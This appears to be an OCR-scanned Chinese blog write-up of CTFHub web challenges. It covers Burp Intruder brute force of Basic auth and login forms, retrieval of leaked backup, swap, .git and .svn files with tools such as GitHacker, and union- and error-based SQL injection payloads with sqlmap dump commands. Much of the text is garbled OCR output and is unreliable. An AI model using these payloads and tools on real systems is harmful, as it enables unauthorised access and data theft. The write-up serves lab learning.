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302k #%
Cookie
FRbAIE

WEURL, BRI AHEFAE, RAEKINE (iE: Basic access authentication) & 2 ¥http AR (. PRI
7)) TEIESRET, R4t AP L A EE B—frR. BERMEERETES ik EE.
PEE R RBIEER, W UE RN AR E Do u know admin?, B &I /2 Aadmin, T EFTR:

Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder I Repeater T Sequencer I Decoder I Comparer I Extender T Project options T User options. ]

1

Go Cancel <|r > Target: http:/ichallenge-6a59c0b337173e5¢c.sandbox.ctfhub.com:10080 / ®
Request Response
Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /flag.html HTTP/1.1 & HTTE/1.1 401 Unauthorized '
Host: challenge—9a39c0b337173e5¢. sandbox. ctfhub. com: 10080 I Server: opemresty/l.13.8.2 r
User—Agent: Mozilla/3.0 (Windews NT 10.0; Vinf4; =64, rv:77.0) Date: Mon, 06 Jul 2020 05:30:32 GNT
Gecko /20100101 Firefox/77.0 Content-Type: text/html; charset=utf-8
Aecept: Content-Length: 179
text/htnl, application/zhtnl+x:nl, application/inl;q=0. 9, inage /webp, */*; =0, Comnection: cl
8 WiF-Authenticate ] Basic realn="Do u know admin 77
Accept-Language:
zh—Cl, zh: q=0. 8, zh-TW; ¢=0. 7, zh-HK; ¢=0. 5, en-U8 ; ¢=0. 3, en:; ¢=0. 2 <htnl>
sccept-Encoding: gzip, deflate ‘head>¢title’401 Authorization Required(/title’/head’
Comnection: close “hody>
Referer: http://challenge—6a39c0b337173e5¢c. sandbox. ctfhub. con:10080/ ‘centers<hl 401 Authorization Required</hl></center>
Mperade—Insecure—Requests: 1 ‘hrdeenter:nginx /1. 16. 1< /center>
suthorization: Basic ¢ hody >
<fhtnl>
e b
A4 v
@ e omacres | @ = L] L2 [ DTS

404 oytes | 27 milis

FRARYE A E 3RS A S top_100, BRWBEAT BB, EILAR BRI E R E T Sadmin, Kk Tbase64%iig, A
fEburp BEE MW, 0T EFTR:

Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options. ]
1 =12 % | ..

Target | Positions | Payloads | Options

(@) Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload posttions - see help for full details.

Attack type: {Sniper ‘v]

GET /flag.htnl HTTP/L.1 [ AddS
Host: challenge—9a39c¢0b337173e5c. sandbox. ctfhub. com: 10080 r

User—Agent: Mozilla/3.0 (Vindews NT 10.0; Winf4; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Clear §
Accept: text/html, application/shtml+xzml, application/mml;q=0. 9, image /wehp, */%;q=0. 8

Accept-Language: zh—Cl, zh:¢=0.8, zh—=TW; q=0. 7, zh-HK: ¢=0. §, en-US: ¢=0. 3, en: q=0. 2 Tﬂﬁ
Accept-Encoding: gzip, deflate

Comnection: close " mefresn
Referer: http://challenge—£ad9c0h337173e5¢. sandbox. ctfhub. com:10080/ ;J
Upgrade—Tnsecure—Requests: 1

Authorization: Basic § YWRtaW4BYWRtal4=§

Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder T Repeater T Sequencer I Decoder I Comparer I Extender T Project options T User options. ]



https://www.cnblogs.com/xiaoxiaotank/p/11009796.html

| Target | Positions ‘ Payloads ‘ Options: |

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste matthew In

access

967654321

hd

Load ...
&J yankess @ Enter the details of the payload processing rule.

Remove
dalias | Add prefix

austin

thunder Prefix: |admm

taylor ®

\']

@ Payload Processing

oK Cancel m

“You can define rules to perform various processing tasks on each payload before it is used.

| Add | |Enabled | Rule
[ Add Prefix: admin:
[E4] BaseG4-encode
Remove >
Up

HATRBE B RA KRN KEAR, REEE, Kilflag

® Intruder attack 2

3y Aftack Sawve Columns

J Results T Target I Positions I Payloads I Options ]

| Fiter: Showing all tems

i Reguest | Payload | Status | Error | Tmeout | Length & | Comment
3 YWRIaWAEHGIUZ Q== 200 0 [0 394 [a]
0 401 O O 404 ')
1 WRiaW4EMTIzNDU2 401 O O 404
2 YWRtaW4E6cGFze3dvemQ= 401 O O 404
4 WRiaW4EMTIzNDUZNzg= 401 O O 404
1 s YWRIaWAG X dIenRS 401 @] [ 404
L] YWRiaW4EMTIzNDUZNzg5 401 O O 404
T WRtaW4SMTIzNDU= 401 O O 404
gl a WRIaWASMTIzNA== 401 O O 404
9 WRIaWASMTEXMTE= 401 O O 404
10 YWRIaWASMTIzNDUZN w== 401 O O 404 L
11 WRtaW46ZHIhZ25u 401 O O 404 k4
—
_[ RawT Headers T Hex T Render ]
Content—Type: text/html; charset=utf-8 i
Connection: close
—Last-Modified: Mon, 06 Jul 2020 05:27:25 GMT
ETag: W/ 5f02b63d-31"
Access—Control-AllowOrigin: *
|Access—ontrol-Allow-Headers: ¥-FRequested-With
Access—Control-Allow—Methods: *
Content—Length: 49
ctfhub {f4144b62b54T68Tcc1f990Tf d96e02422 606659}
(&
o |T
A @ = + = I 0 matches

4| Finished |

sliiniswiniinlomoisin lamaisi iihi=ib e e miatetamire]

X B —MEM ISR, EAAEburpfintruder] AZSINETSIARE BINE, RHMECSE T pythonflid, REIT:




import sys

import base64
(r
.read()

in lines.split(

base64.b64encode(a)
print b

line 10, in <moduler

ct has no attribute ~bfdencode’

M BLIA i LR B A B s i 4 S5 baseBAE B T, R A4 KA 4 T AT
W 7 AR

5 St 5%

H 338 F

REiTF eI Kkfag, RELXERNHRXIE, BMHRGEEE, K Hfag.txt

@ CTFHub ol CTFHub BEE¥™ | BRER .+ =
L I ] © £ challenge-b3067d5000151¢24 sandbox.ctfhub.com:10080 BR e Wy L INEBD @ @ O M ey v =
BEws R work 5 python FE®E [lava 338 Google Chrome ) M54 4TFs O S80E [ =angE FHEE

BRiwfh

RS tEfag

phpinfo



BE# p & & phpinfo

> ¢ @ & challenge-fbd4b8e5f75371d8.sandbox.ctfhub.com: 10080 BE e oy v IND @ @ O B e Yy B

B BsE Fwok Spython B FE@E [lava [ %5 Google Chrome O #E40Ts B E8us [ BnEE LaohE

phpinfo

HifzE&phpinfo

RG] LA E Blphpinfofg B, #%flag, BIA %k Hiflag

PHP 7.3.14 - phpinfo()

&« ¢ o © & challenge-fbd4b8e5f75371d8.sandbox.ctfhub.com:10080/phpinfo.php B e Ty 4 InND @ o h M ey w =
BEEE BEE Bwork Spython Bl FEEE lava [ %6 Google Chrome O S50 5Fs 58S [ EangE ReE
Environment ~

L e e

APACHE RUN DIR fvarfrunfapache2

APACHE PID_FILE Jvarfrunfapache2/apache2.pid

PATH Jusrflocal/sbin:/usrflocal/bin:/usr/sbin;/usr/bin:/sbin:/bin

APACHE LOCK DIR varflockfapache2

LANG T

APACHE RUN USER www-data

APACHE RUN GROUP www-data

APACHE LOG DIR Jvarflogfapache2

PWD !

FLAG ctthub{5a6196283c13e7c23781916ec9ada8901d100b%e}

PHP Variables

$_SERVER['HTTP_HOST'] challenge-fbd4b8e5f75371d8.sandbox.ctfhub.com:10080
$_SERVER['HTTP_X_REAL_IP"] 113.247.38.128
$_SERVER['HTTP_X_FORWARDED _FOR'] 113.247.38.128
$_SERVER['HTTP_CONNECTION'] close
$_SERVER['HTTP_USER_AGENT'] Mozilla/5.0 (Windows NT 10.0; Win64; x64; n:77.0) Gecko/20100101 Firefox/77.0
$_SERVER['HTTP_ACCEPT'] text/html application/xhtml+xml application/xmlq=0.9,image/webp,*/q=0.8
$_SERVER['HTTP_ACCEPT_LANGUAGE'] zh-CN,zh;q=0.8,zh-TW:q=0.7.zh-HK:q=0.5,en-US;q=0.3,en:q=0.2
$_SERVER['HTTP_ACCEPT ENCODING'] gzip, deflate -
flag [~V EEeme) EadS0 CESSFS0 LEEAW  E27, SHE 3 MR %
%
P 3 A
i ey L 4= —
RITRRH G, W LR B H TN Sh IR 44 SCIF I RN AR S 44, 7T ARE i burpi#E AT 8 /85, 0T BIFs
[Target TPosmms T Payloads T Options }
@ Payload Positions
Configure the positiens where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload postions - see help for full details.
Aftack type: L Cluster bomb | v
GET /§website §. § tar § HTTP/1.1 [

Host: challenge—37292bbc92abb49f. sandbox. ctfhub. com: 10080

User—4gent: Mozilla/5.0 (Windows NT 10.0; WinB4; =64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: tewt/htnml, application/shtml+xnl, application/mml;q=0.9, inage/webp, */* ¢=0.8
Accept-Language: zh—CHN, zh:q=0.8, zh-TW: ¢=0. 7, zsh-HE: ¢=0. 5, en-US: g=0. 3, en:q=0. 2
Accept—Encoding: gzip, deflate

Comnection: close

Upgrade—Insecure-Requests: 1




BRI E NIRRT, RE R AE Blwww.zip B B LK

® Intruder attack 4

g Aftack Save Columns

_[ Results T Target T Positions T Payloads T Options ]

| Fitter: Showing all tems ‘@
Request 4 | Payload? | Payload2 | Status | Error | Timeout | Length | Comment
| 13 back zip 404 O O 324 :
18 WwwW zip 200 O O
—| 20 wiwwroot zip 404 O O 324 -
2 temp zip 404 O O 324 r
i 22 web rar 404 O O 324 L
4 23 website rar 404 a a 324
;“ 24 backup rar 404 LEl LEl 324 ~,
e]] 25 back rar 404 [ [ 324
q| 26 WO rar 404 a a 324
27 W wWroot rar 404 a a 324 |/
28 temp rar 404 O O 324 _| v
ELS TN

resare
_[ Raw T Headers T Hex ]

Shrvh oD F b N
MR T%TC % Ov }6Hn{ "
ul oz 1 /o4 #0x T tro | z 0x d - P v X o] i I
1Ib > F K . B F f [ I 3ER1% 1Tz ] 1 ¥ K Lin om |Q
PKE r 0 675 50z, htmlUT ¢ ux
PK
C PCHM w flag 2186426769, txtUT _ux
FK 1op§:
9
index. htmlUT J ux PE
0
i vl
i @ < + > Ty term 0 matches
Finizhed ! F!IIH—C‘FHP!Il':"I""-L".FFFFFI‘-‘!IJ'.‘F:1P.¢FFI-:."-?FI-Y:."PF-{
Vil XA LSS, 7] AR EE—ANEZE
& CTFHub b4 | CTFHub BackUp X | + = s
G Q_ challenge-57292bbc92abb49f.sandbox.ctfhub.com: 10080/ www.zip + INED ®@ © B e @y v =
BEEE BEE Bwork Spython Bl FEEE lava [ %6 Google Chrome O S50 5Fs 58S [ #Eangs e

BASUL T - PIUGRES

e ENET IEESTHF www.zip
ISPRZ T
ARSI R 2 www.zip
SR zip Archive (1.1 KB)
t Fig: ..llenge-57292bbc92abb49f.sandbox.ctthub.com:10080
e tar
. tc:nr.gz BBE Firefox MERREE?
*ap @ ] | 7-Zip File Manager (ZRik) -
o rar I )
O FETHS
FRAOFSRE S-S OEEREERn e R, @)
* web BE 0]
* website
* backup
* back
- wWww

* wwwroot



* temp

fBEgEIE, RE=AXH, hmiCHEEFAAE,

21 sk = F
|ﬂ 50%.html 2019/12/28 22:16 HTML i 1KB
=l flag_2186426769.txt 2020/7/6 16:24 AT 1KB
|ﬂ index.html 2020/2/17 21:32 HTML 3zi 1KB
flagff) SCA SO Teflag

Bl flag 2186426760.04 - iS4

THE REE B0 =BV #EH)
where is flag 7?7

RIEHBERE T, BANBEE, phpIF ik B M58 % Dlwww B 3T ISCHE U5 B B8 A2, B BLX B BAR s 77 AT oo, BT &EE
Flflag

@ CTFHub

<« cC o © & challenge-57292bbc92abb49f.sandbox.ctfhub.com:10080/flag_2186426769.txt

B e T} 1]
BwE BEE Ewoerk [ python FEmEE [(lava [0 %8 Google Chrome ) #5446 Fs O EEHE
ctfhub [020ceace91056908:2a82304027 260 1£ 75976 1)
bak3z

17 18 B B 4, R B s flacEindex.oho Y& A RS g



- G © g challenge-ca7dd169bd416150.sandbox.ctfhub.com:10080 T & 4 y IND @ |
BEwE OsE wok [ python mﬁﬁ 5 Java [ 35 Google Chrome ) #EAGFs [ EBmE
Flag in index.php source code.
Vi Windex.phpEEJRMAS, KK Iiflag
&« [} @ & challenge-ca7dd169bd416150.sandbox.ctfhub.com:10080/index.php B e oy v IND ® @ b M ey v =
e B Ework 5 python W FEmE [5lava [ %8 Google Chrome ) #iiE4Fs [ S8l [ #anag s
Flag in index.php source code. O Oz= D OEts NEs (detses Qe O Bee » 0 - X
QUigE HTML +
<1DocTYPE himl>

<html>

<body class="wsc-initialized">Flag in index.php source code.</body>
</html>

IR H M baksC 4, BT LAV iElindex.php.bak, KILE &3 TR T #

@& CTFHub

X ‘ CTFHub EA3I# 5 - bak X ‘ +
<« cC @

challenge-ca/dd169bd416150.sandbox.ctfhub.com:10080/index.php.bak

¥ inD ® ¢
BEwEE EEE Ework Epy-thon mﬁﬁ B lava B %5 Google Chrome O EELnTFs EeEns

Flag in index.php source code.

IEFEFTFT index.php.bak

SEIEETIT:
[] index.php.bak
MR bak File (220 )
#i8: ..llenge-ca7dd169bd416150.sandbox.ctfhub.com: 10080

EHBE Firefox MTLMBILS#?
O$IF, EHQ) | HEE)..
@ BEEZHQ)

O EEaERERNE RS, (A)

[we ]| wm

TEIEITITRN AT 2liflag

index.php.bak




>CTFHub EHXETH - bak</

// FLAG: ctfhub{1633c96@de63d4e21bc7bcef943ad63c8af4csbe}

echo "Flag in index.php source code.™;

E

VimZEF



A EE A Rvimi

NP
& CTFHub ¥ | CTFHub BackUp Vim X |+ = c
“« > C @ challenge-507f7d9e55f46eeb.sandbox.ctfhub.com: 10080/.index.php.swp L IN D @ o B e
s BsE Ework B3 python mﬁﬁ B9 Java E3 3E Google Chrome ) #fE04Fa B 58S [ #&angt
BIXHTE - vim
flag 7£ index.php =R IF{F#T3T .index.php.swp
T
| .index.php.swp
R swp File (12.0 KB)
#iE: ..allenge-507f7d9e55f46ee6.sandbox.ctthub.com: 10080
£318% Firefox MHTRAEILEE?
O#F, #\Z© @ HEE).
@ EF#HE
BE B
TEINWER R T, FAvim -r IRE 3T X, BIRIE Elflag
<?php
ctfthub{
<html=
meta charset="UTF-8
<title>CTFHub BackUp
</head=
TXHTFTH - vimE/hi1H
flag £ index.php B8 9 </p>
</html=
B #1j 7. .DS_store L T #;
& CTFHub X | CTFHub BackUp DS_Store X |+
& challenge-bcaf5f8b4c4f2392.sandbox.ctfhub.com:10080/.DS_Store v IN O @

Bm: B5%E Bwok 5 python 7w Flava F53%E Google Chrome O #EA4TFs 5 E2ME

HINXHTE - DS_Store

IFHEFTF DS _Stare

ERETIT:
| .DS _Store

HESH flag


https://www.cnblogs.com/du-z/p/10832019.html

ZH2ER: DS _Store File (16.0 KB)
iR ..allenge-bcaf5f8b4cdf2392 sandbox.ctthub.com: 10080

£HEE Firefox M{TEIE?
O, BHQ) | HEE)...
@ EFHES)

s

TEUE R S fF, (£/H010editorfT I, FF Flflag here! Fif

SR J5 V5 16 BN AT 3R 45 flag

&« 3 @ © £ challenge-bcaf5f8bdcdf2392 sandbox.ctfhub.com:10080/8677dab478b0897c9533ccl. B == %

Bms BeE Bwork B3 python _-I‘_ﬁ_rﬁi}ﬁ (5 Java B3 3£H8 Google Chrome ) #iE40Fs 5 £8ilE
ctfhub [a5f25d05de99f 47 136a45£ 2948706 1e1b0Ta79a)

Gitiitt &

Log



) =# git clone https://github.com/WangY¥ihang/GitHacker
'GitHacker'...
Enumerating objects: 107, done.
r : Total 107 (delta 0), reused 0 (delta pack-reused 107
Bl sH: 10 (107/107), 23.81 KiB | 58.00 KiB/s, SThE .
2B delta ¥: 32/32), FEAE.
: python GitHacker.py http://challenge-44e57c5265390a55.sandbox.c
tthub.com: 10080/.

GitHacker.py README.md

Thu Jul 9 08:11:56 2020 +0000

remove flag

ictfhub.c
56 2020 +0000

# gif diff 02466T205489a237cBac5b3eca98ec98a

bash: gif: X B &<
: ‘GitHa ‘'challe 0 0 ' Efhub m 2 10 0_#|git diff 02466T205489a237cBac5b3ecad8ec98e

/360995519411.txt
+++ /dev/null



https://www.cnblogs.com/carr0t/p/12591594.html

{8 P githackerdk B gititt & W, SREHEN QitBFET, #HgitlogBEFB LR R, BF gitrefs/stash, THRFZ/HH, B Hgit
diff =4 5 B A 18 2lflag

actfhub.co
:37:31 2020 +0000

commlit 3 151¢ )
uthor: CTFHub <sandb
Fri Jul 10 04:37:31 2020 +0000

\stash (com.foundersc.option-i0S9.0-(1
lit Selection Find View Goto Tools Project Preferences Help

stash

root@July: [home/GitHacker/challenge-5b116721f663cc41_sandbox_ctfhub_com:10080_ @ & @
MHF(F) fmIB(E) BBE(N) HER(GS) LiRT) FEIH)

af8912861030b7860T1e2915d65b8f1ccba5119f

B36a30a619e55T8T1051083cT87ab 0
772646922517 . txt b/86772646922517.txt
0 100644
0000000

15d65b8T1cch95119f
772646922517.txt b/86772646922517.txt
100644
0000000

! 646922517. Xt
+++ fdev/null




kSR8 P githacker, 4850 BAA BL BRI 75 Rgit log, AT LAf# F git checkout, A& 2| —AMxtsCff, EFH B f5flag

: /he “# python GitHacker.py http://challenge-d339d83ccceB84ed!?
.sandbox.ctfhub.con
EEIEEZRFESIIKE WIP on master: f2cc377 [+] Migrate py2 -> py3, thank to t
he great work of @infdahai
[+] Make dir : ./challenge-d339d83ccce84edl_sandbox_ctfhub_com:10080_/.git/
[!] Getting -> http://challenge-d339d83ccce84edl.sandbox.ctfhub.com:10080/.git/d
escription
[+] Success!
[+] Make dir : ./challenge-d339d83ccceB84ed1_sandbox_ctfhub_com:10080_/.git/info/
[!] Getting -> http://challenge-d339d83ccce84edl.sandbox.ctfhub.com:10080/.git/i
nfo/exclude

http

'GitHacker/challe

'GitHack ‘'challe

629584.txt 50x.html index.html
z itHacker/challe
vim 22810545629584.txt

T H git clone https://github.com/kost/dvcs-ripper

%% sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
¥ . /rip-svn.pl -v -u URL/.svn/

RBZFRM T 1!



A CATE B S YRS h 50U B A P B iZ R admin, SXAEIRATTR 7 D BEAT R ARt 1

<« c o @ f challenge-c408h14056faa364.sandbox.ctihub.com:10080 8o 1y JIND ©® O M@ @ 6 T =
BEs BsE Ework Epython Bl FEmE Flava [55RE Google Chrome &) fEaTe BlESus [isangs b
F O=z= Dtz OEtE NEe Oemess Qs O B= » 0] - X
Q85 HTML +

<!DOCTYPE html>

CTFHub WriteUp

head: (== </head

w cbody class="vsc-initialized™»
EE 'nﬁ w «div class="ctfhub-login-wrap™

w «div class="ctfhub-login™>

<hL>CTFHUb Writeup FRE&</h
) w <form action="" '\eth:d:"post"
admin b <pri=l</p>
b oapy el < /ps
¥ <p class="submit™s == </p>
b <px (=) </p>
‘ g ‘ p P

user or password is wrong

<fp>
Eﬁ <fform>
<fdiv>

«fdive

D "F)KEE?J%% </body>

</himl>

user or password is wrong \

| Request Payload Status | Error | Timeout | Length T| Comment |
596 admin123 200 0 (] 2669 .
0 200 O O 2646
1 lem 200 o O 2646
2 nmyd 200 o O 2646
3 Ingserver 200 O O 2645
3 aiuab 200 O O 2645
5 cgps 200 O O 2645
I wangxini 200 O O 2645
3 zctt 200 o O 2646
11 PRIMARY 200 O O 2645
10 icscf 200 o O 2646 -
9 cafd 200 o O 2646 v
—
Jﬂﬂw T Headers T Hex T HTML T Render ]
“p class="submit”> A&
<bhutton type="submit’ elass="btn btn—1 w100 primary” & H < button 2
<input type= hidden” name="referer” walus="" />
<fpe
pr
“label for="remember” ><input type="checkhox” name="remember” class="checkbox” walus="1"
id="vemember” /> FERBEEHEEFabel
<fpe
pr
ctfhub {TeeT04c36cd320eaT63a24446bb231dT7T03c£ 433}
<fpe 2
<fform>

A AT

RO 2



X EAAHBRA O AR, —SPE R BRI 04 X, R8T H i 2 eyougw/admin@(eyou)

&R P8R User Login

2] = eyougw
Z B
i4pu

O mExiieeEss?
E

FIREHRCTFHUDEHIENS, (WaETARR
=, FHEEER

IEFZHEEE 438 1990 - 2012 © KRS

SQLHEA
BHEMEA

sqlizfy

select * from news where id=1 order by 1

select * from news where id=1 and 1=2 union select
1,database()

select * from news where id=1 and 1=2 union select
1,group_concat(table_name)from
information.schema.tables where table_schema="sqli’

select * from news where id=1 and 1=2 union select
1,group_concat(column_name) from
information_schema.columns where table_name=‘flag’

select * from news where id=1 and 1=2 union select
1,group_concat(flag) from sqli.flag

£

TR B A HOR IR B i e 7 B oA & >

unionBX & 2, database()# %I &4

table_name#% 4, table_schema#i##% &4, information_schema M Tt $¥E B
TEHIECGET HERMEIE), FIMBIEES. R4 FIRBEER. WHRRS, %
FER T fE— g, ftables®, columnsEL

column_name%i44

MR S P ) R IR flag F B K 2


https://www.cnblogs.com/R3col/p/12452571.html

SQL EBFENTEAN
D | i

select * from news where id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
1D: 1
Data: ctfhub{0762f5ce237fce3228af091197919dea363e323a}

FREEAN
EEFHEAREER —AREMAE, EEA TSNS, BERLEM%27, &7 LERsqmapitFEN

python sqlmap.py -u url?id=1%27 --tables #EMiE%

python sqlmap.py -u url?id=1%27 -T flag --columns --dump #MRBflags B KA 5 K 7EBE

select * from news where id="1" and 1=2 union select 1,database()’

SQL FRIELEN
D #EMiEE?

select * from news where id="1%27 and 1=2 union select 1,database() --+"
1D: 1
Data: ctthub



U\Eﬁﬂzibkejél, fElmr‘and(@)THr‘and()LEF*EL%UH’L r‘and(@)*ﬁﬁ?*"rand()miﬂéﬁiJ*"’ﬁiﬁl MRiErand()
XN SHORATHENLEUS . rand () B EF R EEMILE, Mrand(0) 25 #E R A Rk
iJ‘ﬁ?’JZ’\é’E?EiﬁJE"JE‘J‘ﬂ% BWESER—RENR, EEMRFS, group byFHMFZEMENER, FrlXikR+H E#ELname, X
FERATRERFFRENRERT, REREERFABMERNERES.

1% My SQL HI'E 7 i3k, group by%‘a THEE, F—Ik_&ZEgroup by)a fﬁﬁ‘]#?yi{ﬁ’éﬂfﬁﬁl%ﬂﬁiﬁkljﬁﬁy B 53k Egroup by/EHEHIE; 2
— k2B Bgroup by/E M I B ELE BB R R A TEAE, ﬁrﬁcﬁrﬁ%&fﬁdﬂﬁ)\fUKEM?ﬂP XEAEFBANSHITE ZIKEH, BT rand®EBGFEE—
ERIBENLYE, TS - REHNERTRSE - RBENSERA—3, HEREXNMEHENLERTH ff'éﬁﬁaﬂija 2T, AKX FEANLR T
FRINES, #m5RER,

1. sqimapiE A

python sqlmap.py -u url tables

python sqlmap.py -u http://challenge-d5f9655a4e88c44d.sandbox.ctfhub.com:10080/°1d=1%27 -T flag columns dump

2. FTHEA
REETEN
MEWEN
a @ © #& challenge-d5f9655ade88cddd.sandbox.ctfhub.com:10080/7id="1+Union+select+count(*)% B8 == ¢ In o ® o M & &
[ £ 0 BEwns
~
SQL #zEiEA
H/
D ST
select * from news where id=1 Union select count(*),concat(database(),8x26,floor{rand(8)*2))x from information_schema.columns
group by x
EiafEi=: Duplicate entry 'sqlid 1" for key ‘group_key'
@ © & challenge-d5f9655a4e88c44d.sandbox.ctfhub.com:10080/7id=1+Union+select+count(*)% BE ses ¢ moe®e o b me

B . - Q&3

SQL firEEmEAN
ID | #HMMEE?

select * from news where id=1 Union select count(*),concat((

lect table_name from information_schema.tables where

table_schema="sqli’ limit 1,1),8x26,flecor(rand(@)*2))x from information_schema.columns group by x

EifEIR: Duplicate entry ‘flag&1" for key ‘group_key"

@ @ & challenge-d5f9655a4e88c44d.sandbox.ctfhub.com:10080/?id=1+Union+select+count(*)% 3§ e NGO © o8 M &

SQL #REEFEAN


https://www.cnblogs.com/csyxf/p/10241456.html
https://blog.csdn.net/Leep0rt/article/details/78556440

D | BTy

* from news where id=1 Union select count(*),concat( ct column_name from information_schema.columns where

table_schema="sqli® and table_name="flag® limit 8,1),6x26,floo

EiEIEIE: Duplicate entry ‘flag&:1' for key 'group_key'

(rand(@)*2))x from information_schema.columns group by x

@ © & challenge-d5f9655a4e88c44d.sandbox.ctfhub.com:10080/7id=1+Union+select+count(*)%: B8 ses 9 NGO ® o ®m ®

SQL zFEIEN
D g

ect flag from flag limit 6,1),8x26,floor(rand(@)*2))x from

select * from news where id=1 Union select count(*)

information_schema.columns group by x

HiffAIR: Duplicate entry ‘ctfhub{6a6d51e4024668ceeb2534710d8816a510adeff8}&1" for key ‘group_key'

R EE

fi/REvER Serror . HIEEE NS R NTREERIEDRE, BEerror. CGEB¥andFHEA/RBEBAMRAITT, B> ENRBIELRR
R AERAMW . D

fi /R BIEE Esuccess : HIRFEEMANZE, REIERsuccess, REUEHIBAMER 7R Elerror. FEWIR B LR U> FRE—%Kid
%, BNEmEE.

B 18] B 1 AIMyS QL 45 # #8 & Fl sqimap SR K, sqimapE &

id 1=1,1, (select table_name from information_schema.tables
id 1=2,1, (select table_name from information_schema.tables



[E] X AN 7] LA F sgimap

[ 1 ir
[WARNING] inc

[ 1 invali
_[\'L“.F.I‘-III‘-I'Z}] i

1 ir
[WARNING] i

[ ]
(WARNING] i

XEBEEANZsqimap, B2 KNSERRE
cookie level 2 db|

cookie level 2 -D s

gli
python sqlmap.py -u cookie level 2 -D s
gli -T ¥4 --columns --dump
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